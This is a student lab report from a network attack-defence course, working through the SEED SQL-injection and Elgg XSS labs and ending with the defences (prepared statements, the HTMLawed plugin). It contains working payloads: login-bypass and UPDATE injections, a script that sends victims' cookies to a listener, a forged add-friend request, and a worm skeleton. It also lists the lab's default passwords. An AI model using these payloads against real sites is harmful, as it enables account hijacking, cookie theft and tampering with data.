当前位置: 首页 > news >正文

20252917 2025-2026-2 《网络攻防实践》实践十报告

20252917 2025-2026-2 《网络攻防实践》实践十报告

1.实践内容

1.1 Web网络应用体系

现代的Web网络应用体系主要基于B/S模式(浏览器/服务器模式)构建,它是一种将系统核心功能集中部署在服务器端,客户端只需通过浏览器即可访问的分布式计算架构。这种模式大大简化了客户端的安装和维护,实现了“瘦客户端”的理念。

典型的B/S体系通常采用三层架构,有时也会扩展为多层。此三层分别为表现层、业务逻辑层和数据层。

下面介绍体系各层的作用和功能:

1.1.1 表现层——Web浏览器(客户端)

这是用户与整个系统直接交互的入口,负责界面展示和人机交互。在B/S模式下,它替代了传统的客户端软件。

  • 界面渲染与呈现:解析服务器返回的HTML、CSS,构建出视觉化的页面,并执行JavaScript代码实现动态效果。
  • 用户交互收集:捕捉用户的键盘、鼠标、触摸等操作,如点击按钮、填写表单。
  • 请求发起与响应处理:将用户的操作封装成HTTP/HTTPS请求发送给服务器,并对服务器返回的响应(HTML页面、JSON数据、图片等)进行解析和处理。
  • 前端逻辑执行:通过JavaScript(及各种前端框架)执行部分业务逻辑,如数据格式校验、页面局部更新,提升用户体验,减轻服务器压力。
  • 状态本地存储:使用Cookie、LocalStorage、SessionStorage等机制,在客户端保存少量的用户状态和数据。

1.1.2 业务逻辑层——Web服务器与应用服务器(服务端核心)

这一层是Web应用的“大脑”,接收客户端请求,执行核心业务逻辑。根据规模和复杂度,它常被细分为Web服务器应用服务器,但它们功能紧密相关。

  • Web服务器(如Nginx、Apache、IIS)的主要功能:
    • 静态资源服务:直接处理并返回不常变动的文件,如HTML页面、CSS样式表、JavaScript脚本、图片、视频等。
    • 反向代理与负载均衡:作为整个系统的统一入口,将接收到的动态请求转发给后端的应用服务器集群,并在多台应用服务器之间分发请求,实现负载均衡。
    • 安全网关:处理HTTPS加密解密,配置访问控制、防火墙规则,抵御常见网络攻击。
  • 应用服务器(如Tomcat、Django、Node.js、IIS的ASP.NET模块)的主要功能:
    • 动态业务逻辑执行:运行后端代码(Java、Python、C#、Node.js等),处理登录验证、购物车、订单生成等核心业务流程。
    • 生成动态内容:根据用户请求和业务数据,动态生成HTML页面或JSON/XML格式的数据接口(API)。
    • 会话与状态管理:通过Session、Token等机制,在无状态的HTTP协议之上,跟踪和管理用户的登录状态与临时数据。
    • 数据访问与编排:作为连接数据层的桥梁,根据业务需要向数据库发起查询或更新指令,并对返回的数据进行加工、组装。
    • 事务管理:确保一系列关联操作(如转账、下单扣库存)要么全部成功,要么全部失败回滚,保证业务数据的一致性。

1.1.3 数据层——数据库服务器(数据持久化)

这一层负责数据的持久化存储、检索和管理,是整个应用的数据基石。

  • 数据存储与组织:以结构化的方式(如表格)存储用户信息、商品目录、订单记录等所有需要长期保存的业务数据。
  • 数据检索与操作:高效地执行由应用服务器发起的结构化查询语言(SQL)指令,实现数据的增加、删除、修改、查询(CRUD)操作。
  • 数据完整性与一致性保障:通过主键约束、外键约束、唯一性检查等机制,确保存储的数据准确、有效、不矛盾。
  • 并发访问控制:通过锁机制、事务隔离级别等技术,管理多个应用服务器进程或线程对同一数据的并发读写,防止数据错乱。
  • 数据安全与备份恢复:提供访问权限控制、数据加密、定期备份和故障恢复功能,防止数据泄露或丢失。

1.2 SQL注入

SQL 注入是网络安全领域中最古老、最常见,也是破坏力极强的漏洞之一。它允许攻击者拦截并篡改应用程序与底层数据库之间的通信。

1.2.1 定义

SQL 注入是一种代码注入技术。当 Web 应用程序在将用户输入的数据发送到数据库执行之前,没有对其进行充分的验证或过滤,攻击者就可以通过输入恶意的 SQL 指令,欺骗数据库将其作为合法的命令执行。

这使得攻击者能够绕过身份验证、访问、修改或删除数据库中的敏感数据,甚至在某些极端情况下,获取数据库所在服务器的系统权限。

1.2.2 核心原理

SQL 注入的根本原因在于“代码与数据的混淆”。

在动态构建 SQL 语句时(尤其是使用字符串拼接的方式),应用程序将开发者的“预设逻辑代码”与用户的“输入数据”混合在一起。如果数据库引擎无法区分哪部分是指令、哪部分是纯数据,就会将用户输入的恶意字符串解析为可执行的 SQL 语法,从而改变了原有查询的逻辑。

1.2.3 攻击举例

假设一个网站的后台登录逻辑是接收用户提交的 usernamepassword,然后拼接到数据库查询语句中:
SELECT * FROM users WHERE username = '$username' AND password = '$password';

正常情况: 用户输入账号 alice,密码 123456。语句变为:

SELECT * FROM users WHERE username = 'alice' AND password = '123456';

数据库验证账号密码匹配,允许登录。

攻击情况: 攻击者在用户名输入框中输入:admin' -- (注意后面的空格),密码随便填。拼接后的语句变为:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx';

在 SQL 语法中,-- 表示注释。因此,数据库实际执行的语句变成了:

SELECT * FROM users WHERE username = 'admin'

原有的密码验证逻辑被直接“注释掉”了。只要数据库中存在 admin 这个用户,攻击者无需密码即可成功登录。

1.2.4 攻击步骤

一次完整的 SQL 注入攻击通常遵循一套严密的流程。由于顺序至关重要(前置步骤决定了后续的攻击载荷),其过程如下:

侦察与信息收集:攻击者首先会浏览目标网站,寻找所有可能与数据库产生交互的输入点。这包括 URL 参数(如 id=1)、搜索框、登录表单、甚至 HTTP 请求头(如 User-Agent 或 Cookie)。

寻找注入点:通常通过输入特殊字符触发异常。在疑似输入点注入单引号 '、双引号 " 或反斜杠 \。如果页面返回了数据库的语法错误(如“Syntax error in SQL statement”),或者页面内容发生异常变化,这通常意味着输入的数据被带入了数据库执行,存在注入漏洞。

判断数据库类型与版本:不同的数据库(如 MySQL、Oracle、SQL Server)有不同的内置函数和方言。攻击者会通过特定的盲注测试(如 WAITFOR DELAY 在 SQL Server 中有效,而在 MySQL 中使用 SLEEP())来确认后端使用的具体数据库系统。

摸清数据库结构:获取表名和列名。利用 UNION SELECT 联合查询,或者基于布尔/时间的盲注技术,攻击者会先查询 information_schema 等系统自带的元数据库,逐步推导出现有数据库的名字、敏感表的表名(如 users, accounts)以及具体的列名。

提取或篡改数据:明确了表结构后,攻击者开始批量拖库(下载用户密码、信用卡信息),或者执行 UPDATE/DELETE 语句修改管理员权限、甚至清空整个数据库。

1.2.5 防范策略

防范 SQL 注入的核心原则是永远不要无条件信任用户的输入。以下是开发者必须采取的防御措施:

使用预编译语句:最根本的解决方案

这是防御 SQL 注入的黄金法则。预编译语句(Prepared Statements)在执行前会先将 SQL 语句的逻辑发送给数据库进行编译,然后再将用户的输入作为纯参数传递。即使参数中包含 SQL 关键字,数据库也只将其视为普通字符串,不会去执行它。

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, inputUsername); 
pstmt.setString(2, inputPassword);
ResultSet results = pstmt.executeQuery();

使用ORM框架:现代开发中常用的ORM框架(如 Java 的 MyBatis/Hibernate,Python 的 SQLAlchemy,Node.js 的 Prisma 等),在底层默认使用的是参数化查询,能够自动防御绝大多数的 SQL 注入。

严格的输入验证与过滤:对于无法使用预编译的场景(例如动态拼接 ORDER BY 后面的列名),必须采用白名单验证。确保用户输入的值只属于你预期的一小部分选项(如只能是 agecreated_at),拒绝所有非法输入。

遵循最小权限原则:应用程序连接数据库所使用的账号,不应该拥有超级管理员(如 rootsa)权限。它只能访问和操作当前应用必须用到的那几张表。这样即使被注入,攻击者也无法跨库读取数据或执行操作系统命令。

1.3 跨站脚本攻击

跨站脚本攻击(XSS) 是一种将目标瞄准用户浏览器的客户端代码注入攻击。

1.3.1 定义

XSS 攻击是指攻击者通过在合法的 Web 页面或 Web 应用程序中,注入恶意的可执行脚本(通常是 JavaScript)。当不知情的用户浏览该网页时,恶意脚本就会在用户的浏览器环境中无声无息地执行。

这使得攻击者可以窃取用户的敏感信息、接管用户会话、甚至篡改页面内容诱导用户进行转账等危险操作。

1.3.2 核心原理

XSS 的根本原因在于“浏览器无法区分网页内容是原本合法的,还是被恶意篡改的”。

当 Web 应用程序将用户的输入未经严格的转义或过滤,就直接输出(渲染)到 HTML 页面中时,浏览器会将其解析为页面结构的一部分。如果这段输入恰好包含 <script> 等标签或内联事件(如 onload),浏览器就会无条件地将其作为代码执行,而不是作为纯文本显示。

1.3.3 攻击步骤

寻找注入点:攻击者在目标网站的评论区或用户资料修改框中输入测试代码,如 <script>alert('XSS')</script>,观察保存后页面是否会弹窗。

植入恶意 Payload:确认存在漏洞后,攻击者输入精心构造的窃取代码并提交到服务器:

受害者访问: 普通用户浏览该评论区,浏览器向服务器请求页面内容,包含恶意脚本的 HTML 被下载到本地。

执行与窃取: 受害者的浏览器自动加载并执行这段隐藏脚本,在不知不觉中,将包含身份凭证的 Cookie 作为参数发送给了攻击者的服务器(hacker.com)。

账号劫持: 攻击者拿到 Cookie 后,可以将其导入自己的浏览器,直接“免密登录”受害者的账号,为所欲为。

1.3.4 防范策略

输出编码 / 转义:在将不受信任的数据插入 HTML 页面之前,必须将其转换为 HTML 实体。例如,将 < 转换为 <,将 > 转换为 >。这样浏览器只会将其显示为普通符号,而不会将其解析为可执行标签。

使用安全的现代前端框架:现代前端框架(如 React、Vue、Angular)在默认情况下(例如使用双大括号插值 {{ }} 或 JSX 绑定变量时),会自动在底层对数据进行严格的文本转义,从而天然免疫了绝大部分常规的 XSS 攻击。

配置内容安全策略:CSP 是浏览器的一种安全机制。通过在服务器的 HTTP 响应头中设置 CSP 规则(例如只允许加载当前域名下的脚本,禁止执行内联脚本),即使攻击者成功注入了恶意代码,浏览器也会拒绝执行它。

设置 HttpOnly Cookie:在服务器端为敏感的 Cookie(如 Session ID)设置 HttpOnly 标志。这会告诉浏览器:绝对禁止客户端脚本(JavaScript)读取此 Cookie。这样一来,即使发生了 XSS 攻击,黑客也无法通过 document.cookie 窃取到用户的登录凭证。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。

2.1.1 熟悉SQL语句

我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。现在需要利用数据库熟悉SQL语句。

首先下载并安装新版本的SEED虚拟机。

安装完成后,打开SEED虚拟机,获取root权限后,输入命令mysql -u root -pseedubuntu启动mySQL:

屏幕截图 2026-05-25 145004

之后,输入use Users;来使用Users数据库。

屏幕截图 2026-05-25 145056

输入命令show tables;,查看该数据库下所有的表:

屏幕截图 2026-05-25 145217

发现该数据库中有一个名为“credential”的表,如图所示。

继续输入命令select * from credential;查看表的详细信息:

屏幕截图 2026-05-25 145457

可以看到,表中共有6名用户的信息,包括eid、密码、薪水等。

2.1.2 对SELECT语句的SQL注入攻击

上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

打开浏览器,输入网址www.SEEDLabSQLInjection.com,可以看到如下界面:

屏幕截图 2026-05-25 145832

通过组合键Ctrl+U,可以查看该页面源码。

屏幕截图 2026-05-25 150207

从这里可以看到,该页面登陆方式是把用户输入的信息使用get方法传输到unsafe_home.php这个页面进行校验。

屏幕截图 2026-05-25 150404

回到命令行,输入命令vim /var/www/SQLInjection/unsafe_home.php进行分析,发现代码存在可利用SQL注入攻击的漏洞。

屏幕截图 2026-05-25 150721

这里我们可以在输入用户名时,尝试输入Admin' #,这样整个语句变成WHERE name= 'Admin' #' and Password='$hashed_pwd',事实上将"#"后面的语句进行了注释。此时语句等价于WHERE name= 'Admin'。无需输入密码,就可以直接进入用户页面,攻击完成。

在网站上进行尝试,可以成功。

屏幕截图 2026-05-25 151138

2.1.3 对UPDATE语句的SQL注入攻击

首先使用之前的SQL漏洞,输入用户名"Ryan' #",以Ryan的身份登录,可以看到对应信息,如Ryan的编号是30000。

屏幕截图 2026-05-25 151425

点击“Edit Profile”进入信息更新页面

屏幕截图 2026-05-25 151448

回到命令行,输入命令vim /var/www/SQLInjection/unsafe_edit_backend.php打开网页,可以看到工资不能修改。

屏幕截图 2026-05-25 151810

在Nickname文本框中输入:', salary='500000' where EID='30000';#后,点击Save保存。

屏幕截图 2026-05-26 124303

再次查看Profile信息,发现Ryan的薪水已变为500000,攻击成功。

屏幕截图 2026-05-26 124427

2.1.4 SQL对抗

修复上述实践中暴露出的SQL漏洞。

针对绝大多数SQL相关的漏洞,一个比较好的解决方案是使用预处理语句,它能防止SQL注入攻击。

我们尝试在unsafe_edit_backend.php页面中,对update语句进行预处理。

找到原语句$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";,将其修改为

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);并保存。

此时,如果采用类似的输入手段尝试SQL注入攻击,则不会成功。

2.2 XSS跨站脚本攻击实验

2.2.1 发布恶意消息,显示警报窗口

在Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看配置文件时,执行JavaScript程序并显示一个警报窗口。

在SEED虚拟机中,访问网址 http://www.xsslabelgg.com/profile/alice ,用Alice的账户登录,其密码为“seedalice”。

屏幕截图 2026-05-27 135737

点击Edit Profile进入资料编辑页面。

在下面的Brief description框内,输入<script>alert('xss'):</script>并点击Save进行保存。

屏幕截图 2026-05-27 135958

保存后,网页即弹出名为“xss”的对话框。

屏幕截图 2026-05-27 142839

登出当前账户,使用Boby账户登录,账户为boby,密码为seedboby。

尝试查看Alice的个人主页,发现弹出同样的对话框。

屏幕截图 2026-05-27 142949

2.2.2 弹窗显示Cookie信息

再次登录Alice账户,进入个人信息编辑,同样在Brief description框内,输入<script>alert(document.cookie):</script>并点击Save进行保存。

屏幕截图 2026-05-27 143544

保存后,网页自动弹出当前的cookie信息。

屏幕截图 2026-05-27 143554

2.2.3 窃取受害者的cookies

基本原理是使用JavaScript代码,将cookies发送到攻击者机器的5555端口。登录Alice的账户,进入资料编辑,在Brief description文本框输入<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');</script>并保存。

屏幕截图 2026-05-27 145207

之后,在命令行中输入nc -l 5555 -v命令监听5555端口。

登录Boby账户并尝试访问Alice的主页,返回命令行,发现Boby自己的cookies已经被窃取并记录。

屏幕截图 2026-05-27 145331

2.2.4 成为受害者的朋友

登录Alice账户,点击“More-Members”:

屏幕截图 2026-05-27 145932

按F12查看网络流,之后选中Boby添加为好友。右上角发现编号信息,即Boby的编号为45。

屏幕截图 2026-05-27 150213

删除好友,来到Edit Profile界面,输入下面代码后保存。


<script type="text/javascript">window.onload = function () {var Ajax=null;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;Ajax=new XMLHttpRequest();Ajax.open("GET",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send();}</script>

屏幕截图 2026-05-29 111940

退出账户,登录Boby账户,尝试访问Alice主页一次,再次回到自己主页,发现已添加Alice为好友,攻击成功。

2.2.5 编写XSS蠕虫

登录Alice的账户,在About me字段中填入以下代码并保存:


<script id="worm" type ="text/javascript">var headerTag = "<script id=\"worm\" type=\"text/javascript\">";var jsCode = document.getElementById("worm").innerHTML;var tailTag = "</" + "script>";var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);alert(jsCode);</script>

弹出对话框,表明代码已被成功保存。

屏幕截图 2026-05-29 130230

2.2.6 对抗XSS攻击

Elgg本身已经提供了对抗XSS攻击的插件,我们只需要将该插件打开,即可对抗XSS攻击。

登录管理员账户,用户名admin,密码seedelgg。

在Account-Administration-plugins下,找到名为HTMLawed的插件。该插件用来检查用户的输入,去除特定的有风险的标签。

屏幕截图 2026-05-29 130659

点击将该插件设置为Activate激活状态,再次登录Alice的帐号进行测试。

屏幕截图 2026-05-29 130941

不难发现,此时XSS攻击已失效,About me中填写的代码现在被当作文本呈现出来。

3.学习中遇到的问题及解决

  • 问题:一开始在编辑About me字段时,无法输入代码。
  • 解决方案:点击About me右上角的Edit HTML切换模式即可输入所需的代码。

4.实践总结

在本次利用SEED开展的攻防实践中,我分别完成了SQL注入与XSS跨站脚本攻击的实战任务。在SQL注入部分,我首先熟悉了Users数据库和credential表的基本操作,然后利用Web应用的SELECT语句注入漏洞,在不提供密码的情况下成功登录;进一步通过个人资料更新界面的UPDATE注入,篡改了数据库内容;最后修复了SQL注入漏洞,掌握了使用参数化查询等防御方法。在XSS实验中,基于Elgg平台,从发布恶意JavaScript消息弹出警示窗口、显示与窃取cookie开始,进阶实现了利用js代码自动添加好友、静默修改受害者个人资料,并编写了具有自我传播能力的XSS蠕虫,最后进行了XSS对抗防御。这些实践让我深刻理解了注入类攻击的基本原理与其具体危害,使我切实掌握了Web安全漏洞利用及防范的关键技术。

http://www.rkmt.cn/news/1421359.html

相关文章:

  • Kali Linux 2024.2 最新版安装后,第一件事为什么是换源?保姆级阿里云镜像配置教程
  • 2026贵州包车哪家好?实测10大机构,贵州中旅花果园第一营业部凭实力登顶 - 深度智识库
  • 【2026最新】PCL2启动失败/闪退怎么办?三种方法彻底修复,附日志定位流程图
  • Unity开发避坑:为什么你的JsonUtility序列化总是失败?从MonoBehaviour到普通类的完整指南
  • 三步解锁QQ音乐加密音频:qmcflac2mp3终极转换指南
  • 2026年主流抗污瓷砖排行:性能与场景适配综合盘点 - 互联网科技品牌测评
  • 怎么判断传递的是:函数引用还是函数的返回值?
  • 2026凯里市本地人必选的公共卫生检测专业机构TOP5推荐!美容院、足疗店、酒店宾馆卫生检测、许可证办理,正规CMA资质检测公司排名推荐 (2026年5月商铺卫生办证最新深度调研方案) - 一休咨询
  • C166模拟串口开发指南与实战技巧
  • 2026年山东工业气体系统运营商选型指南:液氧液氮、特种气体、现场制气全景深评 - 年度推荐企业名录
  • 5分钟快速上手:B站m4s缓存视频免费无损转换终极方案
  • 2026年反渗透/RO/工业纯水设备厂家推荐榜单:EDI超纯水、制药纯化水及大型净水设备公司综合实力与选购指南 - 品牌企业推荐师(官方)
  • 2026海南本土老牌口碑财税哪家强?5家注册公司代理做账代办一站式推荐实测综合评分榜 - 速递信息
  • Mac鼠标增强终极指南:让普通鼠标媲美苹果触控板的5个技巧
  • 杭州会务机构哪家强?靠谱会务公司深度盘点(2026年5月最新) - 商业新知
  • 联想刃7000K BIOS隐藏功能解锁指南:3个关键步骤释放硬件潜力
  • 基于树莓派Pi Pico的智能日出唤醒灯DIY:从生物钟原理到微控制器实现
  • 从Arduino到等离子管:射频信号发生器与AM调制电路实践指南
  • 山西高补学校深度测评(2026版):太原、晋中、忻州全面对比 - 小强网络
  • Kindle封面修复全攻略:3分钟解决电子书封面损坏问题
  • 从RocksDB到LevelDB:手把手教你用C++实现一个简易的LSM-Tree存储引擎
  • 闲置天猫超市卡如何处置?实用回收攻略详解 - 购物卡回收找京尔回收
  • 18岁成人礼高跟鞋品牌排行:主打纪念属性的轻奢之选 - 奔跑123
  • 2026金昌市本地人必选的公共卫生检测专业机构TOP5推荐!美容院、足疗店、酒店宾馆卫生检测、许可证办理,正规CMA资质检测公司排名推荐 (2026年5月商铺卫生办证最新深度调研方案) - 一休咨询
  • 2026年必看!好用的大模型API聚合平台深度评测 - 企业推荐官【官方】
  • RPFM模组制作工具:全面战争游戏模组开发终极指南
  • 2026年青岛工业气体系统运营商深度横评:液氧液氮液氩供应链完整对比指南 - 年度推荐企业名录
  • 零成本打造智能桌面机器人:旧手机+MIT App Inventor实践指南
  • AURIX TC3X7实战:用GTM的TOM模块驱动LED呼吸灯,代码逐行解析
  • 海思Hi3559AV100 VGS画线实战:从API调用到矩形框绘制的完整代码解析